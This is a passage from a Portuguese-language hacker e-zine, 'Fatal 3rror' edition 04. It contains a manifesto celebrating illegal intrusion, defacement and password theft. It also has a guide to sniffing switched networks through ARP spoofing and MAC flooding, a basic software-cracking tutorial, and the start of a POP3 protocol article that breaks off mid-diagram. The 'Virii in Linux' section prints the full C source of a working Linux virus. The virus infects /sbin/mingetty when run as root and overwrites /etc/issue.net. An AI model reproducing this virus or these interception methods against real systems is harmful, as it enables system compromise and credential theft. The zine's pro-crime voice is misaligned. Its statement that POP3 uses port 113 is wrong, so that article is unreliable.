       ________________________     _______________________________
      /  __________  _______  /    /_____   _____by_Cheat_Struck__/
     /  /__ ___   / /___   / /       ___/  /___   ___   __   ___
    /  ___// o \ / // o \ / /       /__   // o \ / o \ /  \ / o \
   /  /   / _  // // _  // /___  _____/  // _  // _  // O // _  /
  /__/   / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\
         )/    )/ )/                     )/    )/         )/
         '     '  '                      '     '          '

                 Everyone here hates everyone here for doing just like they do.

                 Fatal 3rror
                 Edition.......04
                 Date..........Some_Day/03/01
                 By............Cheat Struck
                 Email.........cheat@struck.8m.com
                               cszine@email.com
                               decopudim@ig.com.br
                 Page..........http://struck.8m.com/f3





        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~        00 - TopicZ         ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



 .od[ 00 ]bo.    TopicZ                              / Cheat Struck
 .od[ 01 ]bo.    Introducao                          / Cheat Struck
 .od[ 02 ]bo.    TipZ                                / Cheat Struck
 .od[ 03 ]bo.    Piratas Modernos                    / Cheat Struck
 .od[ 04 ]bo.    A ARTE DE SNIFFAR REDES ETHERNET SEGMENTADAS
                                                     / syscall
 .od[ 05 ]bo.    Virii in Linux                      / Cheat Struck
 .od[ 06 ]bo.    Cracking                            / Cheat Struck
 .od[ 07 ]bo.    Protocolos Parte I - pop3           / pcHazard
 .od[ 08 ]bo.    Curiosidades sobre o Chaves         / Cheat Struck
 .od[ 09 ]bo.    Overfl0w Dictionaty                 / Cheat Struck
 .od[ 10 ]bo.    Mandando y Spoofeando Mails Falsos de Latin Mail
                                                     / l_l
 .od[ 11 ]bo.    Heap Overflow: exemplo simplicado   / c0nd0r
 .od[ 12 ]bo.    idiot things about phreak           / Cheat Struck
 .od[ 13 ]bo.    Wrapper + C + Xterm                 / kamikase shell
 .od[ 14 ]bo.    RELATO SOBRE A CETERP DE RIBEIRAO PRETO
                                                     / OverniX
 .od[ 15 ]bo.    Sempre Alertas Escoteiros mirins!   / Cheat Struck
 .od[ 16 ]bo.    Monitorando telnet usando "in.telnetsnoopd"
                                                     / Tinker Train
 .od[ 17 ]bo.    Hack Test                           / Cheat Struck
 .od[ 18 ]bo.    Super Progs!!!                      / Cheat Struck
 .od[ 19 ]bo.    3m4ilZ                              / Cheat Struck
 .od[ 20 ]bo.    This is d end                       / Cheat Struck










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~      01 - Introducao       ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Aeee!!! Estou devolta depois de exaustivos meses dedicados ao estudo,
a bebida e as mulheres. Mas depois de tudo isso, estou feliz por ter garan-
tido minha vaga na pucrs, aumentado minha resistencia ao alcool e minha
lista de telefones... =)

   Qdo eu voltei, o clima aki no Brasil estava meio quente por causa de
frequentes invasoes a sites relacionados a seguranca cujo nao vale a pena
citar nomes. Porem alguns sites invadidos sao, a meu respeito, os melhores
sites brasileiros de security. Talvez por issu as coisas fikaram tao feia
para o lado do invasor: psaux.
   A fatal 3rror eh uma zine, nao um grupo, e por issu nao se responsabiliza
pelos atos de seus autores.
   Agora, do meu ponto de vista, essas invasoes serviram para mostrar a
comunidade hacker/securiter brasileira muitas coisas: 
   A primeira com certeza e' que nem mesmo os melhores securiters do brasil
estao realmente preparados para proteger seus sistemas contra ataques
mais articulados como este. O bug exploitado, por ser 0day, nao havia como
ser fixado mas poderia ser no minimo monitorado para evitar que as invasoes
se repetissem como aconteceu.
   Tambem fiquei impressionado com a ignorancia de lamahs que se indignaram
com a declaracao do psaux aos "hackers brasileiros" (com aspas nitidamente
demonstrando ironia). Se vc leu os emails enviados a insecure percebera
do que estou falando. Eles acusam o psaux de ter usado um exploit, que a
propria securenet criou, contra a mesma; Inventam alguem para assumir a id
do psaux; Titulam a hackweiser de grupo lamah sem ao menos direito o grupo. 
   Porra! 
   Se vc nao eh um dos 0wnados ou amigo dos mesmos, entao vc nao tem motivo
para odiar o psaux; vc eh apenas um lamah que esta usando isso como pretesto
para ter o que falar no seus kanais "hackers" (ohhh! olhem as aspas aki tb!);
vc esta com inveja dele por ter feito algo que vc nao e' capaz; vc nao foi 
afetado por estes defacements e e' idiota o suficiente para assumir sua lamisse
qdo se ofende com as criticas aos "hackers brasileiros".
   Prestem atencao!!!
   Quem foi criticado foram os que se julgam rackers em quanto mudam htmls
com seus xploits em perl rodados em windows e script-kiddies brasileiros que
acham que por terem uma colecao de xploits ja sao hackers. O Brasil nunca foi
criticado e sim os "rackers".
   Eu entendo a raiva dos programadores e securiters da securenet e apoio que
se sintam assim pois eu se fosse 0wnado tb me sentiria. Mas fora estes, nao
consegui encontrar um motivo que nao fosse a propria lamisse.
   Issu eh tudo o que tenho a falar sobre este assunto.
   
   Sobre a zine nao preciso falar nada... Voce vai ler ela mesmo.
   Ah! Esta zine esta sendo lida tambem no Mexico! Fikei sabendo disso depois
que um mexicano decidiu colaborar com a zine enviando-me uma materia. =)










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~         02 - TiPZ          ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



  Autores dessa edicao:
  ---------------------

Cheat Struck   <cheat@struck.8m.com>
pcHazard       <cybercrash@ig.com.br>
kamikase shell <kksh@bahia.net>
syscall        <syscall@bol.com.br>
Tinker Train   <tinker@ieg.com.br>
OverniX        <>
l_l      <suli_cool@yahoo.com.mx>
c0nd0r         <thiago@securenet.com.br>




  Onde baixar a Fatal 3rror???
  ----------------------------

http://struck.8m.com/f3





  Extraindo a f3 e seus programas:
  --------------------------------

[root@localhost ~]# tar -zxvf f3-03.tgz
f3/
f3/f3-02.txt
f3/extract.c
[root@localhost ~]# cd f3
[root@localhost f3]# gcc extract.c -o extract
[root@localhost f3]# ./extract f3-03.txt
- Extracting virii/virii.c
- Extracting protocolos/pop3/popcrack.pl
- Extracting protocolos/pop3/mbclean.pl
- Extracting protocolos/pop3/pcmail.pl
- Extracting heap/heap.c
- Extracting noaccess/noaccess.c
- Extracting noaccess/ipcaph.d
- Extracting noaccess/install.sh
- Extracting noaccess/kkshflood.c
- Extracting Superprogs/scanport.c
[root@localhost f3]#










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~   03 - Piratas Modernos     ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



   Quem ainda nao cansou de ouvir reportagens dizendo "Os hackers, os piratas
de computador, atacaram mais um site na internet, a rede mundial de comps"???
   Para os leigos isso vira motivo de medo e revolta.
   Porem, para os que entendem do assunto sabem como essaa materiaa sao
ridiculas.
   Deve existir um molde para as reportagens sobre crimes virtuais, pois a 
unica coisa q os jornais informam eh o site atacado e o grupo responsavel. 
Como a reportagem ficaria mto pequena, eles resolvem encher linguica explicando
repetidas vezes quem sao os hackers e o que e' internet (como se ninguem 
soubesse disso ainda).
   E' compreensivel que se os jornais entrassem em detalhes sobre os ataques,
apenas uma pequena massa de telespectadores (ou leitores, dependendo do tipo
de jornal) seria atingida.
   Entao, por que a imprensa nao tenta entender o que se passa na cabeca desses
"rebeldes virtuais" ao invez de simplesmente divulgar seus feitos???
   Eu nao sei se quem nos propagou como os piratas da rede fomos nos mesmos ou
a imprensa, mas sei que ambos os lados estao satisfeitos com esta rotulacao.
   Para eles, os piratas nao passavam de ladroes sanguinarios que abordavam
embarcacoes em busca de riquesas e de sangue. Os piratas eram criminosos assim
como nos somos.
   Nos temos uma visao diferente dos piratas.
   Assim como os piratas nos agimos em um terreno ainda pouco conhecido pelo
mundo. Eles agiam no mar, nos agimos nas redes de computadores.
   Quando os piratas atacavam navios negreiros, eles escolhiam os melhores
escravos para fazerem parte da sua tripulacao. Estes ex-escravos chegavam a
assumir cargos altos como o de capitao, o que mostra que entre os piratas nao
havia racismo. Assim como eles, nos nao temos preconceitos raciais. Nao importa
se a pessoa atras da outra maquina for negro, branco, indio, etc. O que importa
eh o que passa na cabeca dela e eh assim que nos as julgamos.
   Os piratas do milenio passado e os piratas deste novo milenio tiveram a
coragem de ir contra um sistema injusto e enfrentar a propria patria. Nao temos
nacionalidade e nao aceitamos as coisas do jeito que estao. Por isso nos
rebelamos.
   Descobrimos como acabar com aqueles que sao injustos.
   Descobrimos como roubar de empresas corruptas.
   Descobrimos um novo mundo. Este mundo eh o futuro e nos dominamos hoje o
que dominara' voce no futuro. Nos temos controle sobre as maquinas pois, ao
invez de pensarmos nelas como simples acessorios comodistas, estavamos 
estudando como elas funcionavam.
   Agora nos controlamos a base para onde o futuro esta voltado: os computadores.
   Derrubamos seus sites, pirateamos seus produtos, roubamos seus passwords
por que nao estamos satisfeitos com a situacao. 
   Optamos por uma manifestacao pacifica.
   Ninguem se feriu, ate' hj, por uma invasao hacker.
   Mas isso irrita voces.
   Entao, que tal se fossemos `as ruas armados com fuzils e matassemos todos
os que sao contra nossos ideais??? Por que nao fazemos isso??? 
   Por que nao podemos. Nos acabariamos presos ou mortos.
   Mas aqui quem controla as coisas somos nos. Isso e' o que nos sabemos fazer
e, com certeza, nao e' algo idiota nao, pois se fosse, nao haveria tanta gente
irritada com nossos atos e nao haveriam criado leis contra isso.
   O que fazemos agora e' ilegal. Estamos conseguindo atingir voces e por
isso nao iremos parar.
   Nao temos um unico ideal. Alguns de nos sao contra o governo; outros, contra
empresas corruptas; e alguns fazem isso por pura diversao, pois ainda estao
exitados com a ideia de poder fazer algo criminoso pelo seu computador. Cada um
tem sua propria maneira de pensar e por isso nos dividimos em grupos.
   Ok. Mas ainda nao ficou claro o que leva um hacker a comecar a cometer atos
de pirataria. O mesma coisa que leva um politico a roubar: o poder.
   Quando um politico e' eleito, ele percebe que tem o poder de fazer o que ele
bem entender por que ele tem apoio do povo. O povo lhe deu o seu poder.
   Nos conquistamos nosso poder sozinhos e quando vimos que havia algo errado
decidimos fazer uso dele. Nao demorou muito para que isso acontece-se.
   Agora existem leis contra aquilo que fazemos.
   Entao que nos tornemos infrigidores da lei.
   Que tornemo-nos manifestantes ilegais.
   Vamos violar a lei.
   Seremos os piratas da nova era.
   Os piratas de computador. Os hackers.










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~   04 - A ARTE DE SNIFFAR   ~YXXXXx_
  _xXXXXXX(   REDES ETHERNET SEGMENTADAS   )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_           syscall          _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



==============================================================================
                  A ARTE DE SNIFFAR REDES ETHERNET Segmentadas
==============================================================================
syscall@bol.com.br
icq:163

No texto dessa edicao vou falar um pouco sobre sniffers.o pq ? bom, pq 90% das
redes que so comprometidas e o root eh conseguido, para se manter o acessso e
progredir a invaso para demais maquinas muitas vezes se eh utilizado tal ferra
menta.
Por outro lado o uso de sniffers pode ser feito por administrador, para verifi
car o trafego em sua rede para ver o overhead  , algum gargalo , analisar algu
mas assinaturas de ataques e etc.


Siga o desenho:



   ___                                        ___
  | A |--------------|hub |------------------| C |
   ___                 |                      ---
                       |
                       |
                      _|__
                     | B  |
                      ----

  O Host A quer se comunicar com o Host C


  1 - O host A transmite um frame pro host C
  2 - O Hub faz um broadcast desse frame para todas as suas portas
  3 - O Host B vai checkar o endereo de MAC destino com o seu, como  dife
  rente (normalmente ele descartaria)

  4 - Por o Mac Destino ser igual o Mac do C ele ir processar o pacote

  Quando o modo promiscuo eh habilitado numa placa de rede , ela  nao faz essa
  checkagem de pacotes e todo pacote q bate em sua interface, ela ja' sai proces
  sando o mesmo

  Como se pode ver, num ambiente de rede nao segmentada acaba se tornando
  simples o ato de se sniffar uma rede uma vez q o meio de comunicacao eh compar
  tilhado o que permite o acesso direto aos dados transeuntes na rede.
  
  Entretanto como medida de segurana as pessoas/empresas comecaram a usar Switchs 
  com intuito de aumentar a seguranca entre outras coisas.

  O Switch quando usa VLANS (Virtual Lans) trata cada vlan como um segmento, jo
  gando os frames ethernets apenas para as portas que tais
  enderecos estao relacionados em sua tabela arp e que possua roteamento 
  para a mesma.

  Uma maneira de se sniffar uma rede deste tipo, seria por exemplo:
  O atacante manda pacotes arp spoffados para o seu "target" se fazendo passar
  pelo seu gateway padrao fazendo q todo trafego gerado pela a maquina target  
  utilize a maquina atacante como rota default. (a maquina atacante tem de estar 
  com o ip forwarding habilitado para poder realmente rotear tal trafego ficando 
  transparente para o target).

  Existe tmb a possibilidade de se spoofar a Tabela MAC do switch para causar
  um stress violento onde o switch (algumas marcas e modelos)passam a funcionar 
  como um hub fazendo broadcast dos pacotes para todas as portas. 
  
  Outra situacao seria Spoffar o Mac Address de algum servidor POP3 ou Telnet e 
  aponta lo para o Seu Mac Address, e com o servico pop3 ativo em sua maquina 
  (ou alguma outra na rede) vc sniffar todos as tentativas de autenticacao dos 
  usuarios de POP3 da rede.

  E por fim (porem nao a ultima) a outra maneira de se sniffar redes segmentadas
  por switch, seria a utilizacao de RMON (Remote Monitoring).
  
  O Rmon  eh uma padrao q permite estacoes de gerenciamento (RMON PROBE)
  e consoles (RMON CONSOLE) trocar informacoes "gerenciais"
  Entao por exemplo temos um "RMON probe" capaz de gerenciar um segmento ethernet
  e mandar essas informacoes para a "RMON console"
  O Rmon eh divido em 9 grupos : 

  Statistics,alarm,host,HostTopN,matrix, Filters , Packet Capture, events.
  
  Porem a principio apenas o "Filters" e o "Packet Capture" serao importantes.
  
  O Filter eh muito parecido com o Bpf e pode se colocar protocolo , endereco,
  porta. porem para esses filtros devem ser capturados de algum jeito, e nada 
  mais logico de termos um grupo Packet filter, q  diz o tamanho dos dados, 
  status completo...
  Quase todo switch tem algumas dos grupos Rmon e quando habilitado possibilita
  se sniffar todo o backplane do switch, vc soh precisa claro ter acesso ao
  switch (console,telnet,ssh,snmpX e etc..)


Eh isso ai por enquanto eh soh.. talvez no proximo texto eu traga algo sobre 
como fazer seu proprio sniffer.
 
Referencias:www.cisco.com
	    RFC 1757	
	    TCP/IP ILUSTRATED - Comer =))

 







        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~    05 - Virii in Linux     ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~





   Bom... vc ja deve ter ouvido falarem que e' impossivel um virus
funcionar em unixes por causa do sistema de permissao de arquivos. A
teoria seria de que o virus nao conseguiria infectar nenhum arquivo a pois
nao teria permissao de escrita neste.
   Como ja e' de costume, a pratica contradiz a teoria, e e' issu que
acontece aki novamente.
   Para um virus infectar algum arquivo, este precisa de permissao para
escrita no arquivo, e issu pode ser conseguido se o virus tiver como
usuario executor o root.
   E como conseguir isto? Facil. Ao invez do virus infectar qualquer
arquivo executavel, ele deve ser direcionado apenas a programas suids, 
daemons, programas usados na inicializacao e outros arquivos soh
executaveis pelo root do sistema.
   O virus tambem pode infectar qualquer arquivo, desde que leve junto um
conjunto de instrucoes que verifique se o executor eh o root. Em outras
palavras:


   if (getuid() == 0) { 


   Issu verifica se o uid do executor eh 0.
   Caso o uid seja 0 as funcoes seguintes devem ser as basicas de um virus:


- Verifica se o arquivo eh ELF;
- Verifica se o arquivo ja foi infectado;
- Se nao foi:
  - infecta e pula para o programa original.
- Se foi:
  - Verifica se a BOMBA ja deve ser ativada;
  - Pula para o programa original.


   BOMBA?? Isso mesmo. Este eh o termo usado para o codigo malicioso do
virus. Ou seja, aquele que executa algo que possa irritar o admin. A BOMBA
pode tanto abrir uma backdoor qto alterar um index.html.
   Entendido? Seguimos adiante...
   O virus que criei como exemplo foi baseado no eworm codeado por sm0g
pela sua simplicidade e facil compreensao.
   Usei descaradamente system()'s para o virus fikar pequeno. Ele faz as
verificacoes se o arquivo eh ELF e se ja foi infectado depois infecta-o.
   O metodo de executar o programa original ainda eh muito inseguro mas
por hora esta bom. Outros comentarios estao no source.


<++> virii/virii.c
// TestVirus by Cheat Struck
// #########################
//
//   Este virus foi feito para estudo.
//   Ele foi feito com base no eworm do Dr.sm0g, porem foi muito
// simplificado. A funcao basica do virus eh infectar o /sbin/mingetty.
//   O programa abusa de system()'s para diminuir o tamanho.
//   A BOMBA deste virus eh alterar o /etc/issue.net. Ela e' ativada apos a 
// 2a execucao do arquivo infectado(/sbin/mingetty).
//   Assim como o eworm, optei por definir uma variavel para o tamanho do
// virus. Esta variavel deve ser alterada sempre que o source for mudado.
//   O virus original fikou com menos de 10k o q e' perfeito para um virus.
//   O source esta todo comentado para melhor compreensao.
//  

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>

#define INFECTFILE "/sbin/mingetty"
#define TAMANHO 9421

main(int argc,char *argv[],char *envp[])
{
   char Elf[5]={0x7f,0x45,0x4c,0x46,'\0'},
        Ebuff[5]={'\0'},
        ID[3]={0x45,0x57,'\0'},
	Buff[100];
   FILE *fp;
   int bd=0;
   struct stat info,*ip;

   stat(argv[0],ip=&info);


//------------------------------
// Verifica se o Executor eh o root
//  e se o programa executado eh o virus ou um file infectado.
//------------------------------
  if((getuid()==0)&&(ip->st_size==TAMANHO)) bd=1;


  if((bd==0)&&(ip->st_size!=TAMANHO)) {

//------------------------------
// Se ja existir o /tmp/duhduh, executa a bomba.
//------------------------------
	if(access("/tmp/duhduh",F_OK)==0) {

           //BOMBA
           //Altera o /etc/issue.net
           if (getuid() == 0) {
               fp = fopen("/etc/issue.net","w");
               fprintf(fp,"This fuck was 0wned!!!!\n");
               fclose(fp);
           }
           execve("/tmp/duhduh",argv,envp);
           exit(0); 

        } else {

//------------------------------
// Se nao existir o /tmp/duhduh, cria-o.
// Este arquivo eh o programa original criado para depois ser executado.
//------------------------------

           sprintf(Buff,"tail -c%ld %s> /tmp/duhduh",
                   (ip->st_size)-TAMANHO, argv[0]);
           system(Buff);
           sprintf(Buff,"chmod +x /tmp/duhduh"); system(Buff);
           execve("/tmp/duhduh",argv,envp);

        }
   } else {

	if (bd=1) {
//------------------------------
// Comeca a infectar...
//------------------------------
// Cria um substituto do arquivo a ser infectado
//  para que este seja alterado.
//------------------------------

		system("rm -f /tmp/dihdih");
		sprintf(Buff,"cp -f %s /tmp/dihdih",INFECTFILE);
		system(Buff);
		fp = fopen("/tmp/dihdih","r+");

//------------------------------
// Verifica se o arquivo eh ELF
//------------------------------

		fread(Ebuff, 4, 1, fp);
		if(strcmp(Ebuff,Elf)==0) {


//------------------------------
// Verifica se o arquivo ja foi infectado
//------------------------------
	            bzero(Ebuff,20);
        	    fseek(fp,-2,SEEK_END);
	            fread(Ebuff,2,1,fp);
        	    if(strcmp(Ebuff,ID)!=0) {

//------------------------------
// Infecta o arquivo
//------------------------------
	                fseek(fp,0,SEEK_END);
        	        fwrite(ID,2,1,fp);
			fclose(fp);

			system("rm -f /tmp/duhduh");
			sprintf(Buff, "head -c%i %s >/tmp/duhduh", 
                                TAMANHO, argv[0]);
			system(Buff);
			sprintf(Buff, "cat /tmp/dihdih >> /tmp/duhduh");
                        system(Buff);
			system("chmod +x /tmp/duhduh");
			sprintf(Buff, "rm -f %s",INFECTFILE);
			system(Buff);
			sprintf(Buff, "mv -f /tmp/duhduh %s",
                                INFECTFILE);
                        system(Buff);

		    }
		}
		system("rm -f /tmp/dihdih");

	}
   }
}
<-->










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~        06 - Cracking       ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~




   Quem sao os crackers?? Hackers do mau? Nah!! issu foi uma coisa que a
imprensa mal-informada colocou na cabeca. Crackers sao programadores que
possuem conhecimento suficiente para burlarem programas.
   Um cracker bom na maioria das vezes manja mais do q um hacker bom, pois
o cracker trabalha com programas compilados fazendo alteracoes neste, em
quanto um hacker trabalha com programas open-source criando exploits para
os bugs encontrados.
   Assembly e' a melhor linguagem de programacao existente para crackers
entenderem como um OS interpreta a linguagem hexadecimal.
   Vou demonstar num exemplo simples com que base este estudo eh feito.

   Para nosso exemplo irei usar o Windows como OS. Seria meio ridiculo
estudar Cracking em linux, ja que no linux a maioria dos programas sao
open-source. As ferramentas que iremos utilisar serao o debug do msdos e
um editor hexadecimal qualquer (facil de ser encontrado).

   Aviso:
   Voce deve ter um minimo conhecimento de ASM para poder entender o
restante do texto perfeitamente.

   Comecamos abrindo o debug do msdos:


C:\>debug
-a
12DD:0100 mov al,6a
12DD:0102 int 10
12DD:0104 mov ax,4c00
12DD:0107 int 21
12DD:0109
-rip
IP 0100
:109
-rcx
CX 0000
:09
-n modelo.com
-w
Writing 00009 bytes
-q

C:\>


   Com isso criamos um programa "modelo.com" cujo iremos crackear mais
tarde. Todos os comandos usados no prompt "-" sao basicos do debug e sao
facilmente entendidos utilizando a ajuda dele.
   Com o comando "a" nos indicamos q vamos comecar a programar em ASM.
O programa criado executa duas funcoes simples:



 ; Chama a funcao 006a (800x600) do video (interrupcao 10)
 MOV AL,6A
 INT 10

 ; Chama a funcao 4c00 (sair) do msdos (interrupcao 21)
 MOV AX,4C00
 INT 21



   Resumidamente, o programa muda o modo de video para 800x600 e depois
sai para o dos. Se quizer testa-lo rode-o no prompt e vc vera o resultado.
   Rode, agora, um editor hexadecimal qualquer neste programa. Voce pode
usar o proprio debug mas eu pessoalmente prefiro um editor hexadecimal por
ser muito mais pratico.
   De qualquer jeito, mostrarei como fazer para ler o programa em hexade-
cimal pelo debug:



C:\>debug modelo.com
-d 100 108
1303:0100  B0 6A CD 10 B8 00 4C CD-21                        .j....L.!
-



   Note que se voce estiver num editor hexa, os valores serao os mesmos.
Entao isso nao influencia no Cracking.
   Agora como decifrar essa linguagem e transforma-la novamente em ASM.
   Cada funcao em ASM e' representada por um caratere hexadecimal. Eis
alguns exemplos:


 hexa:     B0 xx
 funcao:   mov al, xx
 exemplo:  B0 6A
 ASM:      mov al, 6a


 hexa:     B4 xx
 funcao:   mov ah, xx
 exemplo:  B4 4C
 ASM:      mov ah, 4c


 hexa:     B8 xx yy
 funcao:   mov ax, yyxx
           O valor aki e' duplo pois ocupa ah e al.
 exemplo:  B8 00 4C
 ASM:      mov ax, 4c00


  hexa:    CD xx
  funcao:  int xx
  exemplo: CD 21
  ASM:     int 21


   Etc...
   Com estes exemplos ja da pra ter uma nocao de como funciona essa
comunicacao entre ASM e a Linguagem compilada. ASM e' basicamente uma
simplificacao da linguagem compilada para deixar a vida do programador
mais facil.
   Se voce tiver interessado em como descobrir os hexas que representam
tais funcoes utilize o proprio debug para issu...



-t

AX=006A  BX=0000  CX=0009  DX=0000  SP=FFFE  BP=0000  SI=0000  DI=0000
DS=1303  ES=1303  SS=1303  CS=1303  IP=0102   NV UP EI PL NZ NA PO NC
1303:0102 CD10          INT     10




   Note a ultima linha. Ela mostra a representasao hexadecimal ( CD10 ) e
a funcao em ASM (INT 10).
   Agora vamos traduzir nosso programa:



B0 6A CD 10 B8 00 4C CD 21

B0 6A     = mov ah, 6A
CD 10     = int 10
B8 00 4C  = mov ax, 4c00
CD 21     = int 21



    Uma vez dublado, o programa pode ser facilmente alterado. Vamos alterar
o modo de video usado de 800x600 (6a) para 80x25 (07).


B0 07 CD 10 B8 00 4C CD 21
   ^^


   Pronto! O programa esta alterado. Salve a alteracao e execute-o para
ver o resultado.
   Este texto soh foi escrito como uma introducao ao Cracking e nenhum
metodo avancado foi discutido. Se voce quizer apronfundar-se nesta area
procure maior material pela internet. Sites como astalavista.box.sk tem
um otimo conteudo.

   O exemplo publicado aki saiu na cszine 08 (antiga zine de minha autoria).
Decidi publica-lo novamente pois muitos leitores da fatal 3rror nao estao
familiarisados com a cszine.











        _xXXXP^''                         ``^YXXXx_
     _xXXXXP~  07 - Protocolos Parte I - pop3 ~YXXXXx_
  _xXXXXXX(                                     )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                     )XXXXXXP~
     ~YXXXXb_             pcHazard            _dXXXXP~
        ~YXXXbx..                         ..xdXXXP~


                                  ----------
                                 | Prefacio |
                                  ----------


   Esta eh a primeira parte de uma serie de textos que escreverei
falando sobre diversos protocolos que costumamos usar no nosso
dia-a-dia. Inicialmente, pretendo falar sobre POP3, SMTP, FTP e
HTTP. Depois, se eu achar algum outro protocolo interessante eu os
passarei a voces. Se desejarem, enviem sugestoes sobre protocolos e seus
respectivos RFCs que eu irei ler e passar para a zine da forma mais clara
possivel. Com base nessas informacoes, o leitor que souber programar em
alguma linguagem como perl, C, delphi etc estara ateh apto a escrever seus
proprios clientes e servidores baseados nesses protocolos.

   Todos os textos serao retirados dos seus respectivos RFCs. Para quem
nao sabe, RFC significa Request for Comments, ou requerimento de
comentarios. Para cada tipo de protocolo existe pelo menos um RFC
falando sobre o seu funcionamento. Para alguns protocolos, existem varios
RFCs novos a medida que vao sendo atualizados. Outros RFCs podem ser
encontrados na URL: http://www.cis.ohio-state.edu/htbin/rfc/
Com base nos RFCs, eu irei colocalos em uma maneira mais clara para o
leitor e, e claro, em portugues, visto que os RFCs estao todos em
ingles.

   Espero que esta serie de textos seja util para voce assim como foi
para mim, pois me permitiu conhecer melhor os protocolos que eu
usava e escrever clientes simples que satisfazessem minhas necessidades.
Pretendo, apos cada texto, adicionar um cliente simples escrito em PERL
para o protocolo discutido.


                                    ------
                                   | POP3 |
                                    ------
                                   RFC 1225
                                   RFC 1725

   Introducao

      O POP, ou Post Office Protocol, foi criado com a intencao de
      permitir que usuarios possam ler suas mensagens de e-mail
      remotamente sem precisar entrar em uma shell UNIX etc.
      O RFC1225 foi criado em Maio de 1991, ou seja, o protocolo POP3,
      assim como muitos outros protocolos que ainda usamos hoje em dia
      jah eh bem velinho...
      O RFC1725 eh uma atualizacao do RFC1225 em que se fez algumas
      mudancas:
         . Retirou os comandos LAST e RPOP
         . Adicionou os comandos APOP e UIDL como comandos extras.
           O APOP serve para autenticacao e UIDL serve como chave
           de diferenciacao entre uma mensagem e outra.
      Apesar do RFC1725 ser mais novo, iremos utilizar aqui como base
      o RFC1225 por ser o original, apenas adicionaremos os comandos extras
      do RFC1725.
      O RFC1225 nao especifica nenhum protocolo de comunicacao
      necessario para implementa-lo. Nos, no nosso caso, usamos o TCP
      como meio de comunicacao entre o servidor POP3 e o cliente.
      Ha no mercado varios clientes e servidores de POP3 para os
      mais diversos sistemas operacionais. Um exemplo deles sao:

      Servidores:

      *  QPOP - servidor pop3 muito usado por provedores que rodam
                linux, as versoes mais encontradas sao a 2.53 e 3.0
                A algum tempo saiu varios exploits para um bug nesse
                servidor que disponibilizava uma shell com UID=mail.

      Clientes:

      *  Outlook Express - Criado pela Microsoft, eh muito comum entre
                os usuarios windows, e que tambem possui muitos bugs entre
                as versoes que atualmente sao usadas por virem como
                acompanhamento do Windows.

      * KMail - Muito usado pelos usuarios linux, possui uma interface
                grafica e requer o KDE instalado.

      * Pine  - Muito usado entre usuarios linux, possui uma interface
                de console e eh menos usado entre usuarios iniciantes.

      Alem desses, ha outras formas de facilmente consultar um servidor
      POP3: criando seu proprio cliente atraves de codigos ja existentes
      como DLLs e componentes para Delphi. Eu, como programador em Delphi
      tambem, recomendo o SakEmail.

      Basicamente, a comunicacao usando o protocolo POP3 eh feita entre
      duas partes: o servidor e o cliente usando o protocolo TCP/IP
      e a porta padrao do servidor POP3 eh a 113.
                    ______                            _____
       ___________ |      |                          |     | ________
      |           ||      |--------------------------|     ||        |
      |    +OK    ||      |     Comunicacao feita    |     ||        |
